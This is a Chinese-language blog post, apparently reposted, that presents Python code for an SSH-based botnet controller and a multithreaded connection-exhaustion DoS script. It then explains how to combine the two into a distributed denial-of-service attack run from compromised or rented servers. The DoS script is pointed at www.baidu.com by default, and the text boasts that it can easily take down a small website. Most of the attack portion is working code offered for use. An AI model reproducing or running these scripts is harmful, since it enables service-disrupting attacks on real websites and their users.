zoukankan      html  css  js  c++  java
  • 基于python实现的DDoS

    代码地址如下:
    http://www.demodashi.com/demo/12002.html

    本例子包含两个小程序,具体如下:

    目录

    DDoS

    一个简单的网络僵尸程序

    下面是一个简单的网络僵尸程序,先通过添加n个客户端的ip和登录账户密码,然后操控这些客户端发动对同一个目标ping的指令。

    如果有上网个分布在不同地区的客户端,其ping的威力是不小的,攻击一个小网站是不在话下。

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    import optparse
    #import pxssh
    from pexpect import pxssh
    
    
    class Client:
    
        def __init__(self, host, user, password):
            self.host = host
            self.user = user
            self.password = password
            self.session = self.connect()
    
        def connect(self):
            try:
                s = pxssh.pxssh()
                s.login(self.host, self.user, self.password)
                return s
            except Exception, e:
                print e
                print '[-] Error Connecting'
    
        def send_command(self, cmd):
            self.session.sendline(cmd)
            self.session.prompt()
            return self.session.before
    
    
    def botnetCommand(command):
        for client in botNet:
            output = client.send_command(command)
            print '[*] Output from ' + client.host
            print '[+] ' + output 
    
    
    def addClient(host, user, password):
        client = Client(host, user, password)
        botNet.append(client)
    
    
    botNet = []
    #addClient('127.0.0.1', 'root', 'wu.com')
    addClient('127.0.0.1', 'wu_being', 'wu.com')
    addClient('127.0.0.1', 'wu_being', 'wu.com')
    addClient('localhost', 'wu_being', 'wu.com')
    # addClient('11.22.33.33', 'root', '123456')
    # addClient('112.33.43.55', 'root', 'password')
    
    botnetCommand('uname -v')
    botnetCommand('ping www.baidu.com -c 4')
    #botnetCommand('cat /etc/issue')
    

    用法(这样运行的)

    huashidazhongbeitushuguan12deiMac:ddos huashida$ ls -l
    total 40
    -rwxr-xr-x@ 1 huashida  staff  1231 11 28 15:22 4-botNet构建SSH僵尸网络.py
    -rwxr-xr-x@ 1 huashida  staff  1648 11 28 15:16 5-botNet构建SSH僵尸网络ddos.py
    -rwxr-xr-x@ 1 huashida  staff  1967 11 28 15:16 DoS_constantConn_MultiThread.py
    -rwxr-xr-x@ 1 huashida  staff  1084 11 28 15:16 dos.py
    -rwxr-xr-x@ 1 huashida  staff    53 11 28 15:16 sshpass.txt
    huashidazhongbeitushuguan12deiMac:ddos huashida$ python 4-botNet构建SSH僵尸网络.py 
    

    一个简单的DOS攻击程序

    DoS, Denial of Service, 拒绝服务,一种常用来使服务器或网络瘫痪的网络攻击手段。

    我们要改的是这两处地方 改为:

    • HOST="127.0.0.1"//你要撸的主机ip地址/域名
    • PAGE="/welcome/default/index/index.py"//你要撸的页面

    cmd命令行下执行脚本 刷刷刷,一连串socket连接。。。就开着呗。我们来看看现在网页还可以访问不? 显然被日瘫了。 别搞事情!

    #!/usr/bin/env python
    import socket
    import time
    import threading
    
    #Pressure Test,ddos tool
    #---------------------------
    MAX_CONN=200000
    PORT=8000
    HOST="www.baidu.com"
    PAGE="/index.php"
    #---------------------------
    
    buf=("POST %s HTTP/1.1
    "
    "Host: %s
    "
    "Content-Length: 1000000000
    "
    "Cookie: dklkt_dos_test
    "
    "
    " % (PAGE,HOST))
    socks=[]
    
    def conn_thread():
    	global socks
    	for i in range(0,MAX_CONN):
    		s=socket.socket	(socket.AF_INET,socket.SOCK_STREAM)
    		try:
    			s.connect((HOST,PORT))
    			s.send(buf)
    			print "[+] Send buf OK!,conn=%d
    "%i
    			socks.append(s)
    		except Exception,ex:
    			print "[-] Could not connect to server or send error:%s"%ex
    			time.sleep(2)
    #end def
    
    def send_thread():
    	global socks
    	while True:
    		for s in socks:
    			try:
    				s.send("f")
    				print "[+] send OK! %s"%s
    			except Exception,ex:
    				print "[-] send Exception:%s
    "%ex
    				socks.remove(s)
    				s.close()
    		time.sleep(1)
    #end def
    
    conn_th=threading.Thread(target=conn_thread,args=())
    send_th=threading.Thread(target=send_thread,args=())
    conn_th.start()
    send_th.start()
    
    
    

    用法和运行方式和上面一个类似,这里略过。

    整合网络僵尸和DoS攻击——DDoS

    如果觉得网络僵尸ping和简单的DoS还不够力,我们把上面的网络僵尸和DoS整合一下,成了传说中的DDos

    DDoS, Distributed Denial of Service, 分布式拒绝服务攻击,亦称作洪水攻击。DoS攻击与DDoS攻击的区别就是,它是一对一的攻击,而DDoS是分布式的攻击。

    改进之处:

    • 整合网络僵尸和DoS攻击;
    • 实现每个肉鸡进行多线程Dos攻击botnetCommand('python Dos_constantConn_MutilThread.py')

    前提条件:

    • 你要有不止一台可以做肉鸡的网络服务器(可以到阿里云、腾讯云、华为云多注册几台云服务器,当肉鸡)。
    • 而且每个肉鸡客户端都可以运行python(一般linux服务器都自带python运行环境)。

    程序可能问题:

    • 有时把dos.py程序批量发到各个肉鸡服务器可能不成功,需要手工先发过去:scp dos.py root@127.0.0.1:~/

    基于python实现的DDoS

    代码地址如下:
    http://www.demodashi.com/demo/12002.html

    注:本文著作权归作者,由demo大师代发,拒绝转载,转载需要作者授权

  • 相关阅读:
    康师傅JVM:运行时数据区概述及线程(三)
    康师傅JVM:程序计数器(四)
    Git常用命令
    Arthas概述
    康师傅JVM:JVM与Java体系结构(一)
    LabVIEW 连接MySQL数据库
    LabVIEW dll 崩溃
    LabVIEW 关于定时的研究
    NI 配置管理软件MAX的一些功能使用介绍
    LabVIEW 串口通信
  • 原文地址:https://www.cnblogs.com/demodashi/p/8510081.html
Copyright © 2011-2022 走看看